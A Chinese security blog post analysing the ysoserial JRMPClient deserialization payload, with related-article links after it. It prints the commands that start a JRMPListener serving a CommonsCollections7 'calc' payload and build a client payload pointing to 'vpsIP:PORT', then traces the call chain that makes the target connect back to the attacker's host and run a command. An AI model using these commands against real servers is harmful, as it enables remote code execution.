ysoserial payloads/JRMPClient

环境:JDK8u102

payloads/JRMPClient可以配合exploit/JRMPListener模块来使用

1.在自己服务器上使用exploit/JRMPListener来开启监听

2.把payloads/JRMPClient发送给对方服务器,对方服务器反序列化后会反向连接我们的服务器,进行连接之间我们服务器会发送payload给对方服务器进行反序列化执行命令。

以下是执行ysoserial时候使用的命令:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1299 CommonsCollections7 "calc"

java -cp ysoserial.jar ysoserial.payloads.JRMPClient "vpsIP:PORT"

调试分析:

设置payloads/JRMPClient和exploit/JRMPListener的启动参数


JRMPClient的payload构造是在getObject方法中

前面几行是构造了反向连接所需要的一些对象,然后把ref传入了RemoteObjectInvocationHandler中,之后进行了一个动态代理,最后返回了proxy对象。

服务端那边就会把这个proxy进行反序列化,从而执行调用链进行反向连接。

这里有个知识点:

proxy的反序列化其实就是调用其InvocationHandler的readObject方法,而这里的InvocationHandler则是RemoteObjectInvocationHandler。

RemoteObjectInvocationHandler的readObject方法是调用其父类RemoteObject的readObject方法

进行了if判断,进入到了else中,然后执行了ref.readExternal(in);

这里的ref为UnicastRef,跟进UnicastRef#readExternal

继续跟进LiveRef#read

调用了DGCClient#registerRefs

这里进行了一个do...while,首先DGCClient$EndpointEntry.lookup方法,然后调用了var2.registerRefs(var1)

DGCClient#registerRefs

先看DGCClient$EndpointEntry.lookup方法

跟进DGCClient$EndpointEntry.lookup方法,看到调用了DGCClient#EndpointEntry方法

在DGCClient#EndpointEntry方法中,使用TCPEndpoint和DgcID创建了LiveRef对象,之后生成了DGCImpl_Stub代理对象( 其实payloads/JRMPClient也是通过DGC通信,进而反序列化恶意payload的)

最后开启了与JRMPListener的Socket通信

DGCClient$EndpointEntry#registerRefs

回到前面的var2.registerRefs(var1)

这里的var2其实就是DGCClient$EndpointEntry

跟进DGCClient#registerRefs,在最后调用了DGCClient$EndpointEntry的makeDirtyCall方法

跟进makeDirtyCall方法,到205行,调用了DGCImpl_Stub#dirty

跟进DGCImpl_Stub#dirty(这里有个问题,这个DGCImpl_Stub其实是动态生成的类,无法调试,所以只能进源码直接看)

newCall是和 JRMPListener建立连接,write写入序列化数据,invoke用来处理服务端的数据,最后readObject来反序列化(前提是传过来的数据不是一个异常类)

ysoserial payloads/JRMPClient的更多相关文章

  1. ysoserial exploit/JRMPClient

    ysoserial exploit/JRMPClient 上一篇文章讲到,当服务器反序列化payloads/JRMPListener,即会开启端口监听.再使用exploit/JRMPClient模块发 ...

  2. Java安全之ysoserial-JRMP模块分析(一)

    Java安全之ysoserial-JRMP模块分析(一) 首发安全客:Java安全之ysoserial-JRMP模块分析(一) 0x00 前言 在分析到Weblogic后面的一些绕过方式的时候,分析到 ...

  3. ysoserial Commons Collections2反序列化研究

    Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...

  4. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  5. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  6. 25. Apache Shiro Java反序列化漏洞

    前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...

  7. Java 安全之Weblogic 2018-2628&2018-2893分析

    Java 安全之Weblogic 2018-2628&2018-2893分析 0x00 前言 续上一个weblogic T3协议的反序列化漏洞接着分析该补丁的绕过方式,根据weblogic的补 ...

  8. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  9. weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628

    CVE-2017-3248 & CVE-2018-2628 后面的漏洞就是2017-3248的绕过而已,所以poc都一样,只是使用的payload不同 本机开启JRMP服务端 ->利用T ...

随机推荐

  1. Kali2搭建Metasploitable3靶机

    Metasploitable3简介 Metasploitable3是Metasploitable2的升级版本,它是一个虚拟靶机系统,里面含有大量未被修复的安全漏洞,它主要是用于metasploit-f ...

  2. SortCompare.time的反射版本

    "Algorithms" by Robert Sedgewick, p256, SortCompare.time(): public static double time(Stri ...

  3. Switch User Command in Linux

    Switch user command (su) has the following forms: su Switch to , without loading environment variabl ...

  4. Git-01-安装

    安装 在centos6.8上安装Git: yum install git -y windows上安装git: 安装的时候,默认选项即可 centos和windows安装git完成以后的设置: git ...

  5. CAS 5.3使用MySQL数据库验证

    一.本例环境说明 JDK 1.8 CAS 5.3 apache-maven-3.6.0 mysql-5.6.32 二.CAS 5.3基础环境搭建与验证 需要按照<CAS 5.3服务器搭建> ...

  6. 谈谈ARM运行C程序的内部机制

    文章目录 一.代码 二.知识储备 1.ARM汇编指令 2.寄存器知识 三.代码解析 1.指令分析 第一条指令: 第二条指令: 第三条指令: 第四条指令: 第五.六条指令: 第七条指令: 第八.九.十条 ...

  7. Django 反向解析 request CBV

    正则路径中的分组 无名分组 分组的概念:就是给某一段正则表达式用小括号括起来 无名分组按位置传参数,一一对应. view中除去request,其他形参数量要与urls中分组数量一致. 无名分组就是将括 ...

  8. 启动Django报错:SyntaxError: Generator expression must be parenthesized 解决办法

    这是因为版本不兼容所导致的. 此错误已知与Python问题#32012相关.基于Django 1.11.16及以下的项目将在Python 3.7启动时引发此异常.此问题的补丁已合并到Django 2. ...

  9. redis的五大数据类型实现原理

    1.对象的类型与编码 Redis使用前面说的五大数据类型来表示键和值,每次在Redis数据库中创建一个键值对时,至少会创建两个对象,一个是键对象,一个是值对象,而Redis中的每个对象都是由 redi ...

  10. 02.SpringMVC之初体验

    1.创建Maven WEB项目 2.导入springmvc的jar包 <dependencies> <dependency> <groupId>org.spring ...